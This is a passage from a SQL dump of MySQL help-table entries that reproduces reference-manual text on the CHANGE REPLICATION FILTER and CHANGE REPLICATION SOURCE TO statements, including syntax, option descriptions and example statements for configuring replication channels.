whether statement-based or row-based replication is in\neffect. See\nhttps://dev.mysql.com/doc/refman/8.0/en/replication-rules.html, for\nmore information.\n\nMultiple replication filtering rules can be created in a single CHANGE\nREPLICATION FILTER statement by separating the rules with commas, as\nshown here:\n\nCHANGE REPLICATION FILTER\n REPLICATE_DO_DB = (d1), REPLICATE_IGNORE_DB = (d2);\n\nIssuing the statement just shown is equivalent to starting the replica\nmysqld with the options --replicate-do-db=d1 --replicate-ignore-db=d2.\n\nOn a multi-source replica, which uses multiple replication channels to\nprocess transaction from different sources, use the FOR CHANNEL channel\nclause to set a replication filter on a replication channel:\n\nCHANGE REPLICATION FILTER REPLICATE_DO_DB = (d1) FOR CHANNEL channel_1;\n\nThis enables you to create a channel specific replication filter to\nfilter out selected data from a source. When a FOR CHANNEL clause is\nprovided, the replication filter statement acts on that replication\nchannel, removing any existing replication filter which has the same\nfilter type as the specified replication filters, and replacing them\nwith the specified filter. Filter types not explicitly listed in the\nstatement are not modified. If issued against a replication channel\nwhich is not configured, the statement fails with an\nER_SLAVE_CONFIGURATION error. If issued against Group Replication\nchannels, the statement fails with an\nER_SLAVE_CHANNEL_OPERATION_NOT_ALLOWED error.\n\nOn a replica with multiple replication channels configured, issuing\nCHANGE REPLICATION FILTER with no FOR CHANNEL clause configures the\nreplication filter for every configured replication channel, and for\nthe global replication filters. For every filter type, if the filter\ntype is listed in the statement, then any existing filter rules of that\ntype are replaced by the filter rules specified in the most recently\nissued statement, otherwise the old value of the filter type is\nretained. For more information see\nhttps://dev.mysql.com/doc/refman/8.0/en/replication-rules-channel-based\n-filters.html.\n\nIf the same filtering rule is specified multiple times, only the last\nsuch rule is actually used. For example, the two statements shown here\nhave exactly the same effect, because the first REPLICATE_DO_DB rule in\nthe first statement is ignored:\n\nCHANGE REPLICATION FILTER\n REPLICATE_DO_DB = (db1, db2), REPLICATE_DO_DB = (db3, db4);\n\nCHANGE REPLICATION FILTER\n REPLICATE_DO_DB = (db3, db4);\n\n*Caution*:\n\nThis behavior differs from that of the --replicate-* filter options\nwhere specifying the same option multiple times causes the creation of\nmultiple filter rules.\n\nNames of tables and database not containing any special characters need\nnot be quoted. Values used with REPLICATION_WILD_TABLE and\nREPLICATION_WILD_IGNORE_TABLE are string expressions, possibly\ncontaining (special) wildcard characters, and so must be quoted. This\nis shown in the following example statements:\n\nCHANGE REPLICATION FILTER\n REPLICATE_WILD_DO_TABLE = (\'db1.old%\');\n\nCHANGE REPLICATION FILTER\n REPLICATE_WILD_IGNORE_TABLE = (\'db1.new%\', \'db2.new%\');\n\nValues used with REPLICATE_REWRITE_DB represent pairs of database\nnames; each such value must be enclosed in parentheses. The following\nstatement rewrites statements occurring on database db1 on the source\nto database db2 on the replica:\n\nCHANGE REPLICATION FILTER REPLICATE_REWRITE_DB = ((db1, db2));\n\nThe statement just shown contains two sets of parentheses, one\nenclosing the pair of database names, and the other enclosing the\nentire list. This is perhaps more easily seen in the following example,\nwhich creates two rewrite-db rules, one rewriting database dbA to dbB,\nand one rewriting database dbC to dbD:\n\nCHANGE REPLICATION FILTER\n REPLICATE_REWRITE_DB = ((dbA, dbB), (dbC, dbD));\n\nThe CHANGE REPLICATION FILTER statement replaces replication filtering\nrules only for the filter types and replication channels affected by\nthe statement, and leaves other rules and channels unchanged. If you\nwant to unset all filters of a given type, set the filter\'s value to an\nexplicitly empty list, as shown in this example, which removes all\nexisting REPLICATE_DO_DB and REPLICATE_IGNORE_DB rules:\n\nCHANGE REPLICATION FILTER\n REPLICATE_DO_DB = (), REPLICATE_IGNORE_DB = ();\n\nSetting a filter to empty in this way removes all existing rules, does\nnot create any new ones, and does not restore any rules set at mysqld\nstartup using --replicate-* options on the command line or in the\nconfiguration file.\n\nThe RESET REPLICA ALL statement removes channel specific replication\nfilters that were set on channels deleted by the statement. When the\ndeleted channel or channels are recreated, any global replication\nfilters specified for the replica are copied to them, and no channel\nspecific replication filters are applied.\n\nFor more information, see\nhttps://dev.mysql.com/doc/refman/8.0/en/replication-rules.html.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/change-replication-filter.html\n\n','','https://dev.mysql.com/doc/refman/8.0/en/change-replication-filter.html'),(581,'CHANGE REPLICATION SOURCE TO',43,'Syntax:\nCHANGE REPLICATION SOURCE TO option [, option] ... [ channel_option ]\n\noption: {\n SOURCE_BIND = \'interface_name\'\n | SOURCE_HOST = \'host_name\'\n | SOURCE_USER = \'user_name\'\n | SOURCE_PASSWORD = \'password\'\n | SOURCE_PORT = port_num\n | PRIVILEGE_CHECKS_USER = {NULL | \'account\'}\n | REQUIRE_ROW_FORMAT = {0|1}\n | REQUIRE_TABLE_PRIMARY_KEY_CHECK = {STREAM | ON | OFF | GENERATE}\n | ASSIGN_GTIDS_TO_ANONYMOUS_TRANSACTIONS = {OFF | LOCAL | uuid}\n | SOURCE_LOG_FILE = \'source_log_name\'\n | SOURCE_LOG_POS = source_log_pos\n | SOURCE_AUTO_POSITION = {0|1}\n | RELAY_LOG_FILE = \'relay_log_name\'\n | RELAY_LOG_POS = relay_log_pos\n | SOURCE_HEARTBEAT_PERIOD = interval\n | SOURCE_CONNECT_RETRY = interval\n | SOURCE_RETRY_COUNT = count\n | SOURCE_CONNECTION_AUTO_FAILOVER = {0|1}\n | SOURCE_DELAY = interval\n | SOURCE_COMPRESSION_ALGORITHMS = \'algorithm[,algorithm][,algorithm]\'\n | SOURCE_ZSTD_COMPRESSION_LEVEL = level\n | SOURCE_SSL = {0|1}\n | SOURCE_SSL_CA = \'ca_file_name\'\n | SOURCE_SSL_CAPATH = \'ca_directory_name\'\n | SOURCE_SSL_CERT = \'cert_file_name\'\n | SOURCE_SSL_CRL = \'crl_file_name\'\n | SOURCE_SSL_CRLPATH = \'crl_directory_name\'\n | SOURCE_SSL_KEY = \'key_file_name\'\n | SOURCE_SSL_CIPHER = \'cipher_list\'\n | SOURCE_SSL_VERIFY_SERVER_CERT = {0|1}\n | SOURCE_TLS_VERSION = \'protocol_list\'\n | SOURCE_TLS_CIPHERSUITES = \'ciphersuite_list\'\n | SOURCE_PUBLIC_KEY_PATH = \'key_file_name\'\n | GET_SOURCE_PUBLIC_KEY = {0|1}\n | NETWORK_NAMESPACE = \'namespace\'\n | IGNORE_SERVER_IDS = (server_id_list),\n | GTID_ONLY = {0|1}\n}\n\nchannel_option:\n FOR CHANNEL channel\n\nserver_id_list:\n [server_id [, server_id] ... ]\n\nCHANGE REPLICATION SOURCE TO changes the parameters that the replica\nserver uses for connecting to the source and reading data from the\nsource. It also updates the contents of the replication metadata\nrepositories (see\nhttps://dev.mysql.com/doc/refman/8.0/en/replica-logs.html). In MySQL\n8.0.23 and later, use CHANGE REPLICATION SOURCE TO in place of the\ndeprecated CHANGE MASTER TO statement.\n\nCHANGE REPLICATION SOURCE TO requires the REPLICATION_SLAVE_ADMIN\nprivilege (or the deprecated SUPER privilege).\n\nOptions that you do not specify on a CHANGE REPLICATION SOURCE TO\nstatement retain their value, except as indicated in the following\ndiscussion. In most cases, there is therefore no need to specify\noptions that do not change.\n\nValues used for SOURCE_HOST and other CHANGE REPLICATION SOURCE TO\noptions are checked for linefeed (\\n or 0x0A) characters. The presence\nof such characters in these values causes the statement to fail with an\nerror.\n\nThe optional FOR CHANNEL channel clause lets you name which replication\nchannel the statement applies to. Providing a FOR CHANNEL channel\nclause applies the CHANGE REPLICATION SOURCE TO statement to a specific\nreplication channel, and is used to add a new channel or modify an\nexisting channel. For example, to add a new channel called channel2:\n\nCHANGE REPLICATION SOURCE TO SOURCE_HOST=host1, SOURCE_PORT=3002 FOR CHANNEL \'channel2\';\n\nIf no clause is named and no extra channels exist, a CHANGE REPLICATION\nSOURCE TO statement applies to the default channel, whose name is the\nempty string (\"\"). When you have set up multiple replication channels,\nevery CHANGE REPLICATION SOURCE TO statement must name a channel using\nthe FOR CHANNEL channel clause. See\nhttps://dev.mysql.com/doc/refman/8.0/en/replication-channels.html for\nmore information.\n\nFor some of the options of the CHANGE REPLICATION SOURCE TO statement,\nyou must issue a STOP REPLICA statement prior to issuing a CHANGE\nREPLICATION SOURCE TO statement (and a START REPLICA statement\nafterwards). Sometimes, you only need to stop the replication SQL\n(applier) thread or the replication I/O (receiver) thread, not both:\n\no When the applier thread is stopped, you can execute CHANGE\n REPLICATION SOURCE TO using any combination that is otherwise allowed\n of RELAY_LOG_FILE, RELAY_LOG_POS, and SOURCE_DELAY options, even if\n the replication receiver thread is running. No other options may be\n used with this statement when the receiver thread is running.\n\no When the receiver thread is stopped, you can execute CHANGE\n REPLICATION SOURCE TO using any of the options for this statement (in\n any allowed combination) except RELAY_LOG_FILE, RELAY_LOG_POS,\n SOURCE_DELAY, or SOURCE_AUTO_POSITION = 1 even when the applier\n thread is running.\n\no Both the receiver thread and the applier thread must be stopped\n before issuing a CHANGE REPLICATION SOURCE TO statement that employs\n SOURCE_AUTO_POSITION = 1, GTID_ONLY = 1, or\n ASSIGN_GTIDS_TO_ANONYMOUS_TRANSACTIONS.\n\nYou can check the current state of the replication applier thread and\nreplication receiver thread using SHOW REPLICA STATUS. Note that the\nGroup Replication applier channel (group_replication_applier) has no\nreceiver thread, only an applier thread.\n\nCHANGE REPLICATION SOURCE TO statements have a number of side-effects\nand interactions that you should be aware of beforehand:\n\no CHANGE REPLICATION SOURCE TO causes an implicit commit of an ongoing\n transaction. See\n https://dev.mysql.com/doc/refman/8.0/en/implicit-commit.html.\n\no CHANGE REPLICATION SOURCE TO causes the previous values for\n SOURCE_HOST, SOURCE_PORT, SOURCE_LOG_FILE, and SOURCE_LOG_POS to be\n written to the error log, along with other information about the\n replica\'s state prior to execution.\n\no If you are using statement-based replication and temporary tables, it\n is possible for a CHANGE REPLICATION SOURCE TO statement following a\n STOP REPLICA statement to leave behind temporary tables on the\n replica. A warning (ER_WARN_OPEN_TEMP_TABLES_MUST_BE_ZERO\n (https://dev.mysql.com/doc/mysql-errors/8.0/en/server-error-reference\n .html#error_er_warn_open_temp_tables_must_be_zero)) is issued\n whenever this occurs. You can avoid this in such cases by making sure\n that the value of the Replica_open_temp_tables or\n Slave_open_temp_tables system status variable is equal to 0 prior to\n executing such a CHANGE REPLICATION SOURCE TO statement.\n\no When using a multithreaded replica (replica_parallel_workers > 0),\n stopping the replica can cause gaps in the sequence of transactions\n that have been executed from the relay log, regardless of whether the\n replica was stopped intentionally or otherwise. When such gaps exist,\n issuing CHANGE REPLICATION SOURCE TO fails. The solution in this\n situation is to issue START REPLICA UNTIL SQL_AFTER_MTS_GAPS which\n ensures that the gaps are closed. From MySQL 8.0.26, the process of\n checking for gaps in the sequence of transactions is skipped entirely\n when GTID-based replication and GTID auto-positioning are in use,\n because gaps in transactions can be resolved using GTID\n auto-positioning. In that situation, CHANGE REPLICATION SOURCE TO can\n still be used.\n\nThe following options are available for CHANGE REPLICATION SOURCE TO\nstatements:\n\no ASSIGN_GTIDS_TO_ANONYMOUS_TRANSACTIONS = {OFF | LOCAL | uuid}\n\n Makes the replication channel assign a GTID to replicated\n transactions that do not have one, enabling replication from a source\n that does not use GTID-based replication, to a replica that does. For\n a multi-source replica, you can have a mix of channels that use\n ASSIGN_GTIDS_TO_ANONYMOUS_TRANSACTIONS, and channels that do not. The\n default is OFF, meaning that the feature is not used.\n\n LOCAL assigns a GTID including the replica\'s own UUID (the\n server_uuid setting). uuid assigns a GTID including the specified\n UUID, such as the server_uuid setting for the replication source\n server. Using a nonlocal UUID lets you differentiate between\n transactions that originated on the replica and transactions that\n originated on the source, and for a multi-source replica, between\n transactions that originated on different sources. The UUID you\n choose only has significance for the replica\'s own use. If any of the\n transactions sent by the source do have a GTID already, that GTID is\n retained.\n\n Channels specific to Group Replication cannot use\n ASSIGN_GTIDS_TO_ANONYMOUS_TRANSACTIONS, but an asynchronous\n replication channel for another source on a server instance that is a\n Group Replication group member can do so. In that case, do not\n specify the Group Replication group name as the UUID for creating the\n GTIDs.\n\n To set ASSIGN_GTIDS_TO_ANONYMOUS_TRANSACTIONS to LOCAL or uuid, the\n replica must have gtid_mode=ON set, and this cannot be changed\n afterwards. This option is for use with a source that has binary log\n file position based replication, so SOURCE_AUTO_POSITION=1 cannot be\n set for the channel. Both the replication SQL thread and the\n replication I/O (receiver) thread must be stopped before setting this\n option.\n\n *Important*:\n\n A replica set up with ASSIGN_GTIDS_TO_ANONYMOUS_TRANSACTIONS on any\n channel cannot be promoted to replace the replication source server\n in the event that a failover is required, and a backup taken from the\n replica cannot be used to restore the replication source server. The\n same restriction applies to replacing or restoring other replicas\n that use ASSIGN_GTIDS_TO_ANONYMOUS_TRANSACTIONS on any channel.\n\n For further restrictions and information, see\n https://dev.mysql.com/doc/refman/8.0/en/replication-gtids-assign-anon\n .html.\n\no GET_SOURCE_PUBLIC_KEY = {0|1}\n\n Enables RSA key pair-based password exchange by requesting the public\n key from the source. The option is disabled by default.\n\n This option applies to replicas that authenticate with the\n caching_sha2_password authentication plugin. For connections by\n accounts that authenticate using this plugin, the source does not\n send the public key unless requested, so it must be requested or\n specified in the client. If SOURCE_PUBLIC_KEY_PATH is given and\n specifies a valid public key file, it takes precedence over\n GET_SOURCE_PUBLIC_KEY. If you are using a replication user account\n that authenticates with the caching_sha2_password plugin (which is\n the default from MySQL 8.0), and you are not using a secure\n connection, you must specify either this option or the\n SOURCE_PUBLIC_KEY_PATH option to provide the RSA public key to the\n replica.\n\no GTID_ONLY = {0|1}\n\n Stops the replication channel persisting file names and file\n positions in the replication metadata repositories. GTID_ONLY is\n available as of MySQL 8.0.27. The GTID_ONLY option is disabled by\n default for asynchronous replication channels, but it is enabled by\n default for Group Replication channels, and it cannot be disabled for\n them.\n\n For replication channels with this setting, in-memory file positions\n are still tracked, and file positions can still be observed for\n debugging purposes in error messages and through interfaces such as\n SHOW REPLICA STATUS statements (where they are shown as being invalid\n if they are out of date). However, the writes and reads required to\n persist and check the file positions are avoided in situations where\n GTID-based replication does not actually require them, including the\n transaction queuing and application process.\n\n This option can be used only if both the replication SQL (applier)\n thread and replication I/O (receiver) thread are stopped. To set\n GTID_ONLY = 1 for a replication channel, GTIDs must be in use on the\n server (gtid_mode = ON), and row-based binary logging must be in use\n on the source (statement-based replication is not supported). The\n options REQUIRE_ROW_FORMAT = 1 and SOURCE_AUTO_POSITION = 1 must be\n set for the replication channel.\n\n When GTID_ONLY = 1 is set, the replica uses\n replica_parallel_workers=1 if that system variable is set to zero for\n the server, so it is always technically a multi-threaded applier.\n This is because a multi-threaded applier uses saved positions rather\n than the replication metadata repositories to locate the start of a\n transaction that it needs to reapply.\n\n If you disable GTID_ONLY after setting it, the existing relay logs\n are deleted and the existing known binary log file positions are\n persisted, even if they are stale. The file positions for the binary\n log and relay log in the replication metadata repositories might be\n invalid, and a warning is returned if this is the case. Provided that\n SOURCE_AUTO_POSITION is still enabled, GTID auto-positioning is used\n to provide the correct positioning.\n\n If you also disable SOURCE_AUTO_POSITION, the file positions for the\n binary log and relay log in the replication metadata repositories are\n used for positioning if they are valid. If they are marked as\n invalid, you must provide a valid binary log file name and position\n (SOURCE_LOG_FILE and SOURCE_LOG_POS). If you also provide a relay log\n file name and position (RELAY_LOG_FILE and RELAY_LOG_POS), the relay\n logs are preserved and the applier position is set to the stated\n position. GTID auto-skip ensures that any transactions already\n applied are skipped even if the eventual applier position is not\n correct.\n\no IGNORE_SERVER_IDS = (server_id_list)\n\n Makes the replica ignore events originating from the specified\n servers. The option takes a comma-separated list of 0 or more server\n IDs. Log rotation and deletion events from the servers are not\n ignored, and are recorded in the relay log.\n\n In circular replication, the originating server normally acts as the\n terminator of its own events, so that they are not applied more than\n once. Thus, this option is useful in circular replication when one of\n the servers in the circle is removed. Suppose that you have a\n circular replication setup with 4 servers, having server IDs 1, 2, 3,\n and 4, and server 3 fails. When bridging the gap by starting\n replication from server 2 to server 4, you can include\n IGNORE_SERVER_IDS = (3) in the CHANGE REPLICATION SOURCE TO statement\n that you issue on server 4 to tell it to use server 2 as its source\n instead of server 3. Doing so causes it to ignore and not to\n propagate any statements that originated with the server that is no\n longer in use.\n\n If IGNORE_SERVER_IDS contains the server\'s own ID and the server was\n started with the --replicate-same-server-id option enabled, an error\n results.\n\n *Note*:\n\n When global transaction identifiers (GTIDs) are used for replication,\n transactions that have already been applied are automatically\n ignored, so the IGNORE_SERVER_IDS function is not required and is\n deprecated. If gtid_mode=ON is set for the server, a deprecation\n warning is issued if you include the IGNORE_SERVER_IDS option in a\n CHANGE REPLICATION SOURCE TO statement.\n\n The source metadata repository and the output of SHOW REPLICA STATUS\n provide the list of servers that are currently ignored. For more\n information, see\n https://dev.mysql.com/doc/refman/8.0/en/replica-logs-status.html, and\n [HELP SHOW REPLICA STATUS].\n\n If a CHANGE REPLICATION SOURCE TO statement is issued without any\n IGNORE_SERVER_IDS option, any existing list is preserved. To clear\n the list of ignored servers, it is necessary to use the option with\n an empty list:\n\nCHANGE REPLICATION SOURCE TO IGNORE_SERVER_IDS = ();\n\n RESET REPLICA ALL clears IGNORE_SERVER_IDS.\n\n *Note*:\n\n A deprecation warning is issued if SET GTID_MODE=ON is issued when\n any channel has existing server IDs set with IGNORE_SERVER_IDS.\n Before starting GTID-based replication, check for and clear all\n ignored server ID lists on the servers involved. The SHOW REPLICA\n STATUS statement displays the list of ignored IDs, if there is one.\n If you do receive the deprecation warning, you can still clear a list\n after gtid_mode=ON is set by issuing a CHANGE REPLICATION SOURCE TO\n statement containing the IGNORE_SERVER_IDS option with an empty list.\n\no NETWORK_NAMESPACE = \'namespace\'\n\n The network namespace to use for TCP/IP connections to the\n replication source server or, if the MySQL communication stack is in\n use, for Group Replication\'s group communication connections. The\n maximum length of the string value is 64 characters. If this option\n is omitted, connections from the replica use the default (global)\n namespace. On platforms that do not implement network namespace\n support, failure occurs when the replica attempts to connect to the\n source. For information about network namespaces, see\n https://dev.mysql.com/doc/refman/8.0/en/network-namespace-support.htm\n l. NETWORK_NAMESPACE is available as of MySQL 8.0.22.\n\no PRIVILEGE_CHECKS_USER = {NULL | \'account\'}\n\n Names a user account that supplies a security context for the\n specified channel. NULL, which is the default, means no security\n context is used. PRIVILEGE_CHECKS_USER is available as of MySQL\n 8.0.18.\n\n The user name and host name for the user account must follow the\n syntax described in\n https://dev.mysql.com/doc/refman/8.0/en/account-names.html, and the\n user must not be an anonymous user (with a blank user name) or the\n CURRENT_USER. The account must have the REPLICATION_APPLIER\n privilege, plus the required privileges to execute the transactions\n replicated on the channel. For details of the privileges required by\n the account, see\n https://dev.mysql.com/doc/refman/8.0/en/replication-privilege-checks.\n html. When you restart the replication channel, the privilege checks\n are applied from that point on. If you do not specify a channel and\n no other channels exist, the statement is applied to the default\n channel.\n\n The use of row-based binary logging is strongly recommended when\n PRIVILEGE_CHECKS_USER is set, and you can set REQUIRE_ROW_FORMAT to\n enforce this. For example, to start privilege checks on the channel\n channel_1 on a running replica, issue the following statements:\n\nSTOP REPLICA FOR CHANNEL \'channel_1\';\n\nCHANGE REPLICATION SOURCE TO\n PRIVILEGE_CHECKS_USER = \'user\'@\'host\',\n REQUIRE_ROW_FORMAT = 1,\n FOR CHANNEL \'channel_1\';\n\nSTART REPLICA FOR CHANNEL \'channel_1\';\n\no RELAY_LOG_FILE = \'relay_log_file\' , RELAY_LOG_POS = \'relay_log_pos\'\n\n The relay log file name, and the location in that file, at which the\n replication SQL thread begins reading from the replica\'s relay log\n the next time the thread starts. RELAY_LOG_FILE can use either an\n absolute or relative path, and uses the same base name as\n SOURCE_LOG_FILE. The maximum length of the string value is 511\n characters.\n\n A CHANGE REPLICATION SOURCE TO statement using RELAY_LOG_FILE,\n RELAY_LOG_POS, or both options can be executed on a running replica\n when the replication SQL (applier) thread is stopped. Relay logs are\n preserved if at least one of the replication applier thread and the\n replication I/O (receiver) thread is running. If both threads are\n stopped, all relay log files are deleted unless at least one of\n RELAY_LOG_FILE or RELAY_LOG_POS is specified. For the Group\n Replication applier channel (group_replication_applier), which only\n has an applier thread and no receiver thread, this is the case if the\n applier thread is stopped, but with that channel you cannot use the\n RELAY_LOG_FILE and RELAY_LOG_POS options.\n\no REQUIRE_ROW_FORMAT = {0|1}\n\n Permits only row-based replication events to be processed by the\n replication channel. This option prevents the replication applier\n from taking actions such as creating temporary tables and executing\n LOAD DATA INFILE requests, which increases the security of the\n channel. The REQUIRE_ROW_FORMAT option is disabled by default for\n asynchronous replication channels, but it is enabled by default for\n Group Replication channels, and it cannot be disabled for them. For\n more information, see\n https://dev.mysql.com/doc/refman/8.0/en/replication-privilege-checks.\n html. REQUIRE_ROW_FORMAT is available as of MySQL 8.0.19.\n\no REQUIRE_TABLE_PRIMARY_KEY_CHECK = {STREAM | ON | OFF | GENERATE}\n\n Available as of MySQL 8.0.20, this option lets a replica set its own\n policy for primary key checks, as follows:\n\n o ON: The replica sets sql_require_primary_key = ON; any replicated\n CREATE TABLE or ALTER TABLE statement must result in a table that\n contains a primary key.\n\n o OFF: The replica sets sql_require_primary_key = OFF; no replicated\n CREATE TABLE or ALTER TABLE statement is checked for the presence\n of a primary key.\n\n o STREAM: The replica uses whatever value of sql_require_primary_key\n is replicated from the source for each transaction. This is the\n default value, and the default behavior.\n\n o GENERATE: Added in MySQL 8.0.32, this causes the replica to\n generate an invisible primary key for any InnoDB table that, as\n replicated, lacks a primary key. See\n https://dev.mysql.com/doc/refman/8.0/en/create-table-gipks.html,\n for more information.\n\n GENERATE is not compatible with Group Replication; you can use ON,\n OFF, or STREAM.\n\n A divergence based on the presence of a generated invisible primary\n key solely on a source or replica table is supported by MySQL\n Replication as long as the source supports GIPKs (MySQL 8.0.30 and\n later) and the replica uses MySQL version 8.0.32 or later. If you use\n GIPKs on a replica and replicate from a source using MySQL 8.0.29 or\n earlier, you should be aware that in this case such divergences in\n schema, other than the extra GIPK on the replica, are not supported\n and may result in replication errors.\n\n For multisource replication, setting REQUIRE_TABLE_PRIMARY_KEY_CHECK\n to ON or OFF lets the replica normalize behavior across replication\n channels for different sources, and to keep a consistent setting for\n sql_require_primary_key. Using ON safeguards against the accidental\n loss of primary keys when multiple sources update the same set of\n tables. Using OFF lets sources that can manipulate primary keys to\n work alongside sources that cannot.\n\n In the case of multiple replicas, when\n REQUIRE_TABLE_PRIMARY_KEY_CHECK is set to GENERATE, the generated\n invisible primary key added by a given replica is independent of any\n such key added on any other replica. This means that, if generated\n invisible primary keys are in use, the values in the generated\n primary key columns on different replicas are not guaranteed to be\n the same. This may be an issue when failing over to such a replica.\n\n When PRIVILEGE_CHECKS_USER is NULL (the default), the user account\n does not need administration level privileges to set restricted\n session variables. Setting this option to a value other than NULL\n means that, when REQUIRE_TABLE_PRIMARY_KEY_CHECK is ON, OFF, or\n GENERATE, the user account does not require session administration\n level privileges to set restricted session variables such as\n sql_require_primary_key, avoiding the need to grant the account such\n privileges. For more information, see\n https://dev.mysql.com/doc/refman/8.0/en/replication-privilege-checks.\n html.\n\no SOURCE_AUTO_POSITION = {0|1}\n\n Makes the replica attempt to connect to the source using the\n auto-positioning feature of GTID-based replication, rather than a\n binary log file based position. This option is used to start a\n replica using GTID-based replication. The default is 0, meaning that\n GTID auto-positioning and GTID-based replication are not used. This\n option can be used with CHANGE REPLICATION SOURCE TO only if both the\n replication SQL (applier) thread and replication I/O (receiver)\n thread are stopped.\n\n Both the replica and the source must have GTIDs enabled\n (GTID_MODE=ON, ON_PERMISSIVE, or OFF_PERMISSIVE on the replica, and\n GTID_MODE=ON on the source). SOURCE_LOG_FILE, SOURCE_LOG_POS,\n RELAY_LOG_FILE, and RELAY_LOG_POS cannot be specified together with\n SOURCE_AUTO_POSITION = 1. If multi-source replication is enabled on\n the replica, you need to set the SOURCE_AUTO_POSITION = 1 option for\n each applicable replication channel.\n\n With SOURCE_AUTO_POSITION = 1 set, in the initial connection\n handshake, the replica sends a GTID set containing the transactions\n that it has already received, committed, or both. The source responds\n by sending all transactions recorded in its binary log whose GTID is\n not included in the GTID set sent by the replica. This exchange\n ensures that the source only sends the transactions with a GTID that\n the replica has not already recorded or committed. If the replica\n receives transactions from more than one source, as in the case of a\n diamond topology, the auto-skip function ensures that the\n transactions are not applied twice. For details of how the GTID set\n sent by the replica is computed, see\n https://dev.mysql.com/doc/refman/8.0/en/replication-gtids-auto-positi\n oning.html.\n\n If any of the transactions that should be sent by the source have\n been purged from the source\'s binary log, or added to the set of\n GTIDs in the gtid_purged system variable by another method, the\n source sends the error ER_SOURCE_HAS_PURGED_REQUIRED_GTIDS\n (https://dev.mysql.com/doc/mysql-errors/8.0/en/server-error-reference\n .html#error_er_source_has_purged_required_gtids) to the replica, and\n replication does not start. The GTIDs of the missing purged\n transactions are identified and listed in the source\'s error log in\n the warning message ER_FOUND_MISSING_GTIDS\n (https://dev.mysql.com/doc/mysql-errors/8.0/en/server-error-reference\n .html#error_er_found_missing_gtids). Also, if during the exchange of\n transactions it is found that the replica has recorded or committed\n transactions with the source\'s UUID in the GTID, but the source\n itself has not committed them, the source sends the error\n ER_REPLICA_HAS_MORE_GTIDS_THAN_SOURCE\n (https://dev.mysql.com/doc/mysql-errors/8.0/en/server-error-reference\n .html#error_er_replica_has_more_gtids_than_source) to the replica and\n replication does not start. For information on how to handle these\n situations, see\n https://dev.mysql.com/doc/refman/8.0/en/replication-gtids-auto-positi\n oning.html.\n\n You can see whether replication is running with GTID auto-positioning\n enabled by checking the Performance Schema\n replication_connection_status table or the output of SHOW REPLICA\n STATUS. Disabling the SOURCE_AUTO_POSITION option again makes the\n replica revert to file-based replication.\n\no SOURCE_BIND = \'interface_name\'\n\n Determines which of the replica\'s network interfaces is chosen for\n connecting to the source, for use on replicas that have multiple\n network interfaces. Specify the IP address of the network interface.\n The maximum length of the string value is 255 characters.\n\n The IP address configured with this option, if any, can be seen in\n the Source_Bind column of the output from SHOW REPLICA STATUS. In the\n source metadata repository table mysql.slave_master_info, the value\n can be seen as the Source_bind column. The ability to bind a replica\n to a specific network interface is also supported by NDB Cluster.\n\no SOURCE_COMPRESSION_ALGORITHMS = \'algorithm[,algorithm][,algorithm]\'\n\n Specifies one, two, or three of the permitted compression algorithms\n for connections to the replication source server, separated by\n commas. The maximum length of the string value is 99 characters. The\n default value is uncompressed.\n\n The available algorithms are zlib, zstd, and uncompressed, the same\n as for the protocol_compression_algorithms system variable. The\n algorithms can be specified in any order, but it is not an order of\n preference - the algorithm negotiation process attempts to use zlib,\n then zstd, then uncompressed, if they are specified.\n SOURCE_COMPRESSION_ALGORITHMS is available as of MySQL 8.0.18.\n\n The value of SOURCE_COMPRESSION_ALGORITHMS applies only if the\n replica_compressed_protocol or slave_compressed_protocol system\n variable is disabled. If replica_compressed_protocol or\n slave_compressed_protocol is enabled, it takes precedence over\n SOURCE_COMPRESSION_ALGORITHMS and connections to the source use zlib\n compression if both source and replica support that algorithm. For\n more information, see\n https://dev.mysql.com/doc/refman/8.0/en/connection-compression-contro\n l.html.\n\n Binary log transaction compression (available as of MySQL 8.0.20),\n which is activated by the binlog_transaction_compression system\n variable, can also be used to save bandwidth. If you do this in\n combination with connection compression, connection compression has\n less opportunity to act on the data, but can still compress headers\n and those events and transaction payloads that are uncompressed. For\n more information on binary log transaction compression, see\n https://dev.mysql.com/doc/refman/8.0/en/binary-log-transaction-compre\n ssion.html.\n\no SOURCE_CONNECT_RETRY = interval\n\n Specifies the interval in seconds between the reconnection attempts\n that the replica makes after the connection to the source times out.\n The default interval is 60.\n\n The number of attempts is limited by the SOURCE_RETRY_COUNT option.\n If both the default settings are used, the replica waits 60 seconds\n between reconnection attempts (SOURCE_CONNECT_RETRY=60), and keeps\n attempting to reconnect at this rate for 60 days\n (SOURCE_RETRY_COUNT=86400). These values are recorded in the source\n metadata repository and shown in the\n replication_connection_configuration Performance Schema table.\n\no SOURCE_CONNECTION_AUTO_FAILOVER = {0|1}\n\n Activates the asynchronous connection failover mechanism for a\n replication channel if one or more alternative replication source\n servers are available (so when there are multiple MySQL servers or\n groups of servers that share the replicated data).\n SOURCE_CONNECTION_AUTO_FAILOVER is available as of MySQL 8.0.22. The\n default is 0, meaning that the mechanism is not activated. For full\n information and instructions to set up this feature, see\n https://dev.mysql.com/doc/refman/8.0/en/replication-asynchronous-conn\n ection-failover-replica.html.\n\n The asynchronous connection failover mechanism takes over after the\n reconnection attempts controlled by SOURCE_CONNECT_RETRY and\n SOURCE_RETRY_COUNT are exhausted. It reconnects the replica to an\n alternative source chosen from a specified source list, which you\n manage using the asynchronous_connection_failover_add_source and\n asynchronous_connection_failover_delete_source functions. To add and\n remove managed groups of servers, use the\n asynchronous_connection_failover_add_managed and\n asynchronous_connection_failover_delete_managed functions instead.\n For more information, see\n https://dev.mysql.com/doc/refman/8.0/en/replication-asynchronous-conn\n ection-failover.html.\n\n *Important*:\n\n 1. You can only set SOURCE_CONNECTION_AUTO_FAILOVER = 1 when GTID\n auto-positioning is in use (SOURCE_AUTO_POSITION = 1).\n\n 2. When you set SOURCE_CONNECTION_AUTO_FAILOVER = 1, set\n SOURCE_RETRY_COUNT and SOURCE_CONNECT_RETRY to minimal numbers\n that just allow a few retry attempts with the same source, in\n case the connection failure is caused by a transient network\n outage. Otherwise the asynchronous connection failover mechanism\n cannot be activated promptly. Suitable values are\n SOURCE_RETRY_COUNT=3 and SOURCE_CONNECT_RETRY=10, which make the\n replica retry the connection 3 times with 10-second intervals\n between.\n\n 3. When you set SOURCE_CONNECTION_AUTO_FAILOVER = 1, the replication\n metadata repositories must contain the credentials for a\n replication user account that can be used to connect to all the\n servers on the source list for the replication channel. The\n account must also have SELECT permissions on the Performance\n Schema tables. These credentials can be set using the CHANGE\n REPLICATION SOURCE TO statement with the SOURCE_USER and\n SOURCE_PASSWORD options. For more information, see\n https://dev.mysql.com/doc/refman/8.0/en/replication-asynchronous-\n 